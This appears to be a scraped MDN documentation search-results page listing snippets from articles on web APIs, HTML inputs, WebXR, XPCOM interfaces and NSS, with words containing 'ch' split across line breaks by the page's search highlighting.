ch as button, menu item, text, etc.
... they also define a list of possible object states, su
ch as focused, read-only,
checked, etc.
...the ipc me
chanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets.
...And 54 more matches
Multiple Firefox profiles
having different profiles would help separate work and personal life, or allow ea
ch family member to have his or her own set of bookmarks, settings, and add-ons.
... web developers might want a secondary profile for testing websites, apps, or other projects on different firefox
channels.
...while using the nightly
channel, you may encounter some add-ons that have become temporarily incompatible with new api
changes, until the add-on developer has a
chance to update them.
...And 54 more matches
Localization content best practices
note on localizers mozilla localizers are volunteers with very diverse te
chnical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems.
... it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure te
chnical details.
... localization files
choose good key ids the ids (names)
chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.).
...And 54 more matches
Mozilla DOM Hacking Guide
mozilla gives you the opportunity not only to use very powerful and complete dom support, but also to work on a world-class implementation of one of the greatest internet te
chnologies ever created.
...in this document i will try to outline the main aspects of the implementation, beginning with the class info me
chanism, whi
ch lies at the heart of the dom, then with the description of various interfaces and classes.
... when, in javascript, a client tries to access a dom object or a dom method on a dom object, the js engine asks xpconnect to sear
ch for the relevant c++ method to call.
...And 54 more matches
Background Tasks API - Web APIs
the cooperative s
cheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
...this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispat
ches those events to the elements that should receive them.
...it's an extremely busy
chunk of code, and your main javascript code may run right inside this thread along with all of this.
...And 54 more matches
ARIA Test Cases - Accessibility
or copy-paste: http://oaa-accessibility.org/examples/ for ea
ch example we test the "expected" results with assistive te
chnologies, for ea
ch browser that at supports wai-aria in.
... where a failure occurs we will test the browser for api incorrectness, using tools su
ch as msaa inspect.
...er (leopard) n/a n/a - fail window-eyes - - - - nvda - - - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - table legend - no info/test yet n/a not applicable (not supported te
chnically) pass expected behaviour met fail expected behaviour notmet 1.
...And 54 more matches
<input type="email"> - HTML: Hypertext Markup Language
value a domstring representing an e-mail address, or empty events
change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring whi
ch is automatically validated as conforming to e-mail syntax.
...there's more to it than that, of course; see validation for a regular expression that mat
ches the e-mail address validation algorithm.
...any trailing and leading whitespace is removed from ea
ch address in the list.
...And 54 more matches
TypeScript support in Svelte - Learn web development
there are different opinions about it, and in this
chapter we will talk briefly about the pros and cons of using typescript.
...if you are not interested at all in typescript, you can skip to the next
chapter, where we will look at different options for deploying our svelte applications, further resources, and more.
... typescript: optional static typing for javascript typescript is a superset of javascript that provides features su
ch as optional static typing, classes, interfaces, and generics.
...And 53 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example whi
ch animates a rotating cube around whi
ch the user can move freely using a vr headset, keyboard, and/or mouse.
...rendering the scene for immersive presentation requires multiple renders of the scene—once from the perspective of ea
ch eye.
... dependencies while we will not rely upon any 3d graphics frameworks su
ch as three.js or the like for this example, we do use the glmatrix library for matrix math, whi
ch we've used in other examples in the past.
...And 53 more matches
WAI-ARIA basics - Learn web development
wai-aria is a te
chnology that can help with su
ch problems by adding in further semantics that browsers and assistive te
chnologies can recognize and use to let users know what is going on.
...<div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature su
ch as the main navigation programmatically.
... as another example, apps started to feature complex controls like date pickers for
choosing dates, sliders for
choosing values, etc.
...And 52 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are programming, whi
ch the system tells you about so you can respond to them in some way if desired.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a me
chanism by whi
ch an action can be automatically taken (that is, some code running) when the event occurs.
... in the case of the web, events are fired inside the browser window, and tend to be atta
ched to a specific item that resides in it — this might be a single element, set of elements, the html document loaded in the current tab, or the entire browser window.
...And 52 more matches
nsIWebProgressListener
uriloader/base/nsiwebprogresslistener.idlscriptable this interface is implemented by clients wishing to listen in on the progress associated with the loading of asyn
chronous requests in the context of a nsiwebprogress instance as well as any
child nsiwebprogress instances.
... inherits from: nsisupports last
changed in gecko 15 (firefox 15 / thunderbird 15 / seamonkey 2.12) nsiwebprogress describes the parent-
child relationship of nsiwebprogress instances.
... method overview void onlocation
change(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags); void onprogress
change(in nsiwebprogress awebprogress, in nsirequest arequest, in long acurselfprogress, in long amaxselfprogress, in long acurtotalprogress, in long amaxtotalprogress); void onsecurity
change(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astate); void onstate
change(in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus); void onstatus
change(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); constants state transition flags these flags indicate the ...
...And 52 more matches
Capabilities, constraints, and settings - Web APIs
historically, writing scripts for the web that work intimately with web apis has had a well-known
challenge: often, your code needs to know whether or not an api exists and if so, what its limitations are on the user agent it's running on.
... figuring this out has often been difficult, and has usually involved looking at some combination of whi
ch user agent (or browser) you're running on, whi
ch version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth.
... the result has been a lot of very fragile code, or a reliance on libraries whi
ch figure this stuff out for you, then implement polyfills to pat
ch the holes in the implementation on your behalf.
...And 52 more matches
Promise - JavaScript
the promise object represents the eventual completion (or failure) of an asyn
chronous operation, and its resulting value.
...it allows you to associate handlers with an asyn
chronous action's eventual success value or failure reason.
... this lets asyn
chronous methods return values like syn
chronous methods: instead of immediately returning the final value, the asyn
chronous method returns a promise to supply the value at some point in the future.
...And 44 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and
change things.
... in this article we'll do this, digging into events and state along the way, and ending up with an app in whi
ch we can successfully add and delete tasks, and toggle tasks as completed.
... handling events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and atta
ch listeners to them.
...And 43 more matches
Introduction to NSPR
the netscape portable runtime (nspr) api allows compliant applications to use system facilities su
ch as threads, thread syn
chronization, i/o, interval timing, atomic operations, and several other low-level services in a platform-independent manner.
... this
chapter introduces key nspr programming concepts and illustrates them with sample code.
... naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed by intercap-style declarations, like this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase
characters separated with the underscore
character (_), like this: pr_bytes_per_short, pr_extern nspr threads nspr provides an execution environment that promotes the use of lightweight threads.
...And 43 more matches
nsDependentCString
class declaration nstdependentstring_
chart stores a null-terminated, immutable sequence of
characters.
... subclass of nststring that restricts string value to an immutable
character sequence.
...method overview constructors assertvalid rebind operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last co...
...And 43 more matches
nsINavHistoryResultObserver
toolkit/components/places/nsinavhistoryservice.idlscriptable lets clients observe
changes to a result as the result updates itself according to bookmark and history system events.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this interface replaced the older nsinavhistoryresultviewer interface, whi
ch only allowed one client at a time.
... method overview void bat
ching(in boolean atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstate
changed(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long anewstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotation
changed(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateadded
changed(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetails
changed(in nsinavhistoryresultnode anode, in prtime anewvisitdate, i...
...And 43 more matches
Element - Web APIs
element is the most general base class from whi
ch all element objects (i.e.
...most functionality is specified further down the class hierar
chy.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 43 more matches
<input type="text"> - HTML: Hypertext Markup Language
events
change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange().
... additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, text inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of
characters the input should accept minlength the minimum number of
characters long the input can be and still be considered valid pattern a regular expression the input's contents must mat
ch in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the co...
...ntents of the input should be read-only size a number indicating how many
characters wide the input field should be spell
check controls whether or not to enable spell
checking for the input field, or if the default spell
checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
...And 43 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a te
chnical point of view, in terms of how the main loop should run.
...games are constantly looping through these stages, over and over, until some end condition occurs (su
ch as winning, losing, or exiting to go to bed).
...these games present two images to the user; they accept their click (or tou
ch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from that input.
...And 42 more matches
Useful string methods - Learn web development
previous overview: first steps next now that we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, su
ch as finding the length of a text string, joining and splitting strings, substituting one
character in a string for another, and more.
...try entering the following lines: let browsertype = 'mozilla'; browsertype.length; this should return the number 7, because "mozilla" is 7
characters long.
... retrieving a specific string
character on a related note, you can return any
character inside a string by using square bracket notation — this means you include square brackets ([]) on the end of your variable name.
...And 42 more matches
sample2
*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <cryptohi.h> #include <keyhi.h> #include <pk11priv.h> #include <cert.h> #include <base64.h> #include <secerr.h> #include <secport.h> #include <secoid.h> #include <secmodt.h> #include <secoidt.h> #include <se
chash.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_header "-----begin wrapped enckey-----" #define enckey_trailer "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped mackey-----" #define i...
...ng(err) pr_errortostring((err), pr_language_i_default) #endif /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n", progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -...
...e signing request \n\n", "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr command */ static void validategeneratecsrcommand(const
char *progname, const
char *dbdir, certname *subject, const
char *subjectstr, const
char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly formatted name: \"%s\"\n", progname, dbdir, subjectstr); validationfailed = pr_true; } if (!certreqfilename) { pr_fprintf(pr_stderr, "%s -g -d %s -s %s -r: certificate request file name not f...
...And 42 more matches
Using XPCOM Utilities to Make Things Easier
« previousnext » this
chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous
chapter) and uses xpcom tools that make coding a lot easier and more efficient.
...mu
ch of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro.
... generic xpcom module macros the work in the previous
chapter was useful in setting up the generic component code.
...And 42 more matches
nsIFaviconService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1.
... methods addfailedfavicon() this method adds a given favicon's uri to the failed favicon ca
che.
... the lifespan of the favicon ca
che is up to the ca
ching system.
...And 42 more matches
Introduction to the File and Directory Entries API - Web APIs
it was built on the file writer api, whi
ch, in turn, was built on file api.
... ea
ch of the apis adds different functionality.
... these apis are a giant evolutionary leap for web apps, whi
ch can now ca
che and process large amounts of data.
...And 42 more matches
Permissions - Web APIs
the permissions interface of the permissions api provides the core permission api functionality, su
ch as methods for querying and revoking permissions methods permissions.query() returns the user permission status for a given api.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissions
chrome full support 43edge full support 79firefox full support 46ie no support noopera full support yessafari no support nowebview android full support 43
chrome android full support 43firefox android full support 46opera android...
...And 42 more matches
Starting up and shutting down a WebXR session - Web APIs
there is a global xrsystem object available for use by your document through the the navigator property xr, whi
ch returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment.
... thus the simplest code that fet
ches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available.
... webxr polyfill the team designing the webxr specification has published a webxr polyfill whi
ch you can use to simulate webxr on browsers whi
ch don't have support for the webxr apis.
...And 42 more matches
<input type="tel"> - HTML: Hypertext Markup Language
unlike <input type="email"> and <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so mu
ch around the world.
... value a domstring representing a telephone number, or empty events
change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telep...
... additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum length, in utf-16
characters, to accept as a valid input minlength the minimum length that is considered valid for the field's contents pattern a regular expression the entered value must mat
ch to pass constraint validation placeholder an example value to display inside the field when it has no value readonly a boolean attribute whi
ch, if present, indicates that the fie...
...And 42 more matches
Client-side tooling overview - Learn web development
equally, a single configuration file for a tool like webpack can be hundreds of lines long, most of whi
ch are magical incantations that seem to do the job but whi
ch only a master engineer will fully understand!
... from time to time, even the most experienced of web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling pipeline working before even tou
ching a single line of application code.
... in these articles, we won’t answer every question about web tooling, but we will provide you with a useful starting point of understanding the fundamentals, whi
ch you can then build from.
...And 41 more matches
Gecko Profiler FAQ
similarly it also can’t show you instruction level information about where ea
ch sample was captured (this is why there is no support for line-level sampling for native code either.) at this point the granularity of ea
ch sample it displays is a native function.
... for this purpose you should try to use a native profiler on your platform of
choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile.
... this can
change some performance
characteristics, but is a decent way to get a sense of whi
ch parts of a large function are expensive.
...And 41 more matches
NSS functions
updated - function has new arguments su
ch as new flag or addition to structure.
...the mozilla cross reference (mxr) link for ea
ch function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates whi
ch versions of nss support the function.
...And 41 more matches
Gecko events
is supported: yes event_dom_significant_
change an object's properties or content have
changed significantly so that the type of object has really
changed, and therefore the accessible should be destroyed or recreated.
... is supported: yes event_asyn
ch_show a hidden object is shown -- this is a layout occurance and is thus asyn
chronous is supported: yes event_asyn
ch_hide an object is hidden -- this is a layout occurance and is thus asyn
chronous is supported: yes event_asyn
ch_significant_
change an object had a significant layout
change whi
ch could affect the type of accessible object -- this is a layout occurance and is thus asyn
chronous is supported: yes event_active_decendent_
changed the active descendant of a component has
changed.
... the active descendant is used in objects with transient
children.
...And 41 more matches
nsILoginManagerStorage
toolkit/components/passwordmgr/public/nsiloginmanagerstorage.idlscriptable this interface is implemented by modules that wish to provide storage me
chanisms for the login manager.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to provide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it.
...id getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void init(); void initwithfile(in nsifile ainputfile, in nsifile aoutputfile); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void sear
chlogins(out unsigned long count, in nsipropertybag mat
chdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); attributes attribute type description uibusy boolean true when a master password prompt is being shown.
...And 41 more matches
Plug-in Basics - Plugins
next » how plug-ins are used plug-ins offer a ri
ch variety of features that can increase the flexibility of gecko-based browsers.
... plug-ins like these are now available: multimedia viewers su
ch as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in te
chnology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see whi
ch plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...And 41 more matches
Debugger - Firefox Developer Tools
new debugger([global, …]) create a debugger object, and apply its adddebuggee method to ea
ch of the givenglobal objects to add them as the initial debuggees.
... collectcoverageinfo a boolean value indicating whether code coverage should be enabled inside ea
ch debuggee of this debugger instance.
...
changing this flag value will recompile all jit code to add or remove code coverage instrumentation.
...And 41 more matches
WebRTC connectivity - Web APIs
we call this the signal
channel or signaling service.
... it’s any sort of
channel of communication to ex
change information before setting up a connection, whether by email, post card or a carrier pigeon...
... the information we need to ex
change is the offer and answer whi
ch just contains the sdp mentioned below.
...And 41 more matches
Fundamentals of WebXR - Web APIs
together, these te
chnologies are referred to as mixed reality, whi
ch is abbreviated xr.
... mixed reality is a large and complex subject, with mu
ch to learn and many other apis to bring together in order to create an engaging experience for users.
... what webxr is and isn't webxr is an api for web content and apps to use to interface with mixed reality hardware su
ch as vr headsets and glasses with integrated augmented reality features.
...And 41 more matches
WebXR Device API - Web APIs
webxr is a group of standards whi
ch are used together to support rendering 3d scenes to hardware designed for presenting virtual worlds (virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar).
... the webxr device api implements the core of the webxr feature set, managing the selection of output devices, render the 3d scene to the
chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.
... webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses whi
ch overlay graphics atop the real world scene passing through the frames, and handheld mobile phones whi
ch augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...And 41 more matches
Window.open() - Web APIs
windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into whi
ch to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
...these features include options su
ch as the window's default size and position, whether or not to include toolbar, and so forth.
...see window features below for documentation of ea
ch of the features that can be specified.
...And 41 more matches
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to ex
change data between the web site and a server.
...after the transaction completes, the object will contain useful information su
ch as the response body and the http status of the result.
... function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fet
ch the data in one of two ways, asyn
chronously or syn
chronously.
...And 41 more matches
JavaScript basics - Learn web development
it was invented by brendan ei
ch (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation.
...with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and mu
ch more!
...these include: browser application programming interfaces (apis) built into web browsers, providing functionality su
ch as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples.
...And 40 more matches
Responsive images - Learn web development
previous overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other su
ch features — and look at what tools html provides to help implement them.
...here's a simple example: this works well on a wide screen device, su
ch as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css mu
ch in this lesson, except to say that: the body content has been set to a maximum width of 1200 pixels — in viewports above that width, the body remains at 1200px and centers itself in the available space.
... an improvement would be to display a cropped version of the image whi
ch displays the important details of the image when the site is viewed on a narrow screen.
...And 40 more matches
nsIXULTemplateBuilder
the nsitemplatebuilder interface controls the display of elements using a xul template element and is automatically atta
ched to an element containing a datasources attribute.
... a template builder, given an input source of data, a template, and a reference point, generates a list of results from the input, and copies part of the template for ea
ch result.
...as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all
child nodes.
...And 38 more matches
Web Console remoting - Firefox Developer Tools
the web console is split between a client with its user interface, and the server whi
ch has listeners for all the things that happen in the tab.
...this ar
chitecture allows you to connect a web console client instance to a server running on b2g, fennec or some other firefox instance.
... to better understand the ar
chitecture of the web console we recommend learning about the debugger ar
chitecture.
...And 38 more matches
Lighting a WebXR setting - Web APIs
because the webxr device api relies on other te
chnologies—namely, webgl and frameworks based upon it—to perform all rendering, texturing, and lighting of a scene, the same general lighting concepts apply to webxr settings or scenes as to any other webgl-generated display.
...fundamentally, simulating lighting in a virtual scene involves computing how mu
ch light from ea
ch light source is received by the eye after interacting with and reflecting off of ea
ch object in the scene.
...this is the foundation for mu
ch of what's involved in shading a scene, and comes into play in terms of how different types of light source behave.
...And 38 more matches
Example and tutorial: Simple synth keyboard - Web APIs
the keyboard allows you to swit
ch among the standard waveforms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard.
... because oscillatornode is based on audios
cheduledsourcenode, this is to some extent an example for that as well.
...we will be programmatically constructing the keyboard, because doing so gives us the flexibility to configure ea
ch key as we determine the appropriate data for the corresponding note.
...And 38 more matches
<textarea> - HTML: Hypertext Markup Language
the <textarea> element also accepts several attributes common to form <input>s, su
ch as autocomplete, autofocus, disabled, placeholder, readonly, and required.
... autocapitalize this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and
chrome), whi
ch controls whether and how the text value should be automatically capitalized as it is entered/edited by the user.
...
characters: automatically capitalize all
characters.
...And 38 more matches
An overview of HTTP - HTTP
http is a protocol whi
ch allows the fet
ching of resources, su
ch as html documents.
... it is the foundation of any data ex
change on the web and it is a client-server protocol, whi
ch means requests are initiated by the recipient, usually the web browser.
... a complete document is reconstructed from the different sub-documents fet
ched, for instance text, layout description, images, videos, scripts, and more.
...And 38 more matches
Understanding WebAssembly text format - WebAssembly
ea
ch node in the tree goes inside a pair of parentheses — ( ...
... the first label inside the parenthesis tells you what type of node it is, and after that there is a space-separated list of either attributes or
child nodes.
... so that means the webassembly s-expression: (module (memory 1) (func)) represents a tree with the root node “module” and two
child nodes, a "memory" node with the attribute "1" and a "func" node.
...And 38 more matches
Mobile accessibility - Learn web development
previous overview: accessibility next with web access on mobile devices being so popular and renowned platforms su
ch as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms.
...long gone are the days when mobile devices ran completely different web te
chnologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain).
... there are some exceptions that need special consideration for mobile; the main ones are: control me
chanisms — make sure interface controls su
ch as buttons are accessible on mobiles (i.e., mainly tou
chscreen), as well as desktops/laptops (mainly mouse/keyboard).
...And 37 more matches
The web and web standards - Learn web development
this article provides some useful background on the web — how it came about, what web standard te
chnologies are, how they work together, why "web developer" is a great career to
choose, and what kinds of best practices you'll learn about through the course.
... brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, whi
ch we'll link to later on (also try sear
ching for "history of the web" in your favorite sear
ch engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
... this can be considered a forerunner of the web, as it worked on packet swit
ching, and featured the first implementation of the tcp/ip protocol suite.
...And 37 more matches
Creating our first Vue component - Learn web development
previous overview: client-side javascript frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent ea
ch item in the todo list.
... along the way, we'll learn about a few important concepts su
ch as calling components inside other components, passing data to them via props, and saving data state.
... note: if you need to
check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository.
...And 37 more matches
Error codes returned by Mozilla APIs
ea
ch error is listed by its name and an error code in parentheses.
... an error will typically be displayed on the error console, but can be captured using a try-cat
ch block in javascript.
... ns_error_not_initialized (0xc1f30001) an attempt was made to use a component or object whi
ch has not yet been initialized.
...And 37 more matches
Gecko Keypress Event
gecko 1.9 key handling
changed significantly after beta 5 (bug 359638, bug 429510 and the bugs on whi
ch they depend).
... the
changes were risky so late in the release s
chedule, but they were necessary for fixing the many key handling bugs.
...
charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/command)), then the properties of the event are the same as they were in gecko1.8.1.
...And 37 more matches
Building the WebLock UI
in this
chapter, however, we are going to be building a user interface for the weblock component that's meant to be added to the existing mozilla browser[other-mozlike-browsers].
... it uses xul, whi
ch is an xml language that gecko knows how to render as user interface, but it also interacts with particular parts of the mozilla user interface, where it must install itself as an extension to the ui.
... specifically, the user interface we create in this
chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the web lock interface.
...And 37 more matches
nsAutoString
class declaration nstautostring_
chart subclass of nststring_
chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space whi
ch may be wasted if the string it contains is significantly smaller or any larger than 64
characters.
... names: nsautostring for wide
characters nscautostring for narrow
characters method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(...
...And 37 more matches
nsCAutoString
class declaration nstautostring_
chart subclass of nststring_
chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space whi
ch may be wasted if the string it contains is significantly smaller or any larger than 64
characters.
... names: nsautostring for wide
characters nscautostring for narrow
characters method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
chara...
...And 37 more matches
Eclipse CDT Manual Setup
ma
ch setup most people should be reading the eclipse cdt page instead of this one, now that ma
ch ide eclipse is a thing.
...there is valuable information here that should be integrated back into that page, but a large amount of it is now taken care of by the ma
ch project generation code.
... for now it's stored here until that integration happens in order that the eclipse cdt page isn't hugely cluttered with mostly redundant information, make setting up eclipse look mu
ch more complicated than it is nowadays.
...And 36 more matches
Creating localizable web applications
in some cases, the code snippets were slightly
changed to better illustrate the recommendations or for clarity.
...
cheatsheet don't hardcode english text, formats (numbers, dates, addresses, etc.), word order or sentence structure.
...you can use one or more of the following te
chniques: http accept-language headers, the ua string, ip geolocation.
...And 36 more matches
MathML Torture Test
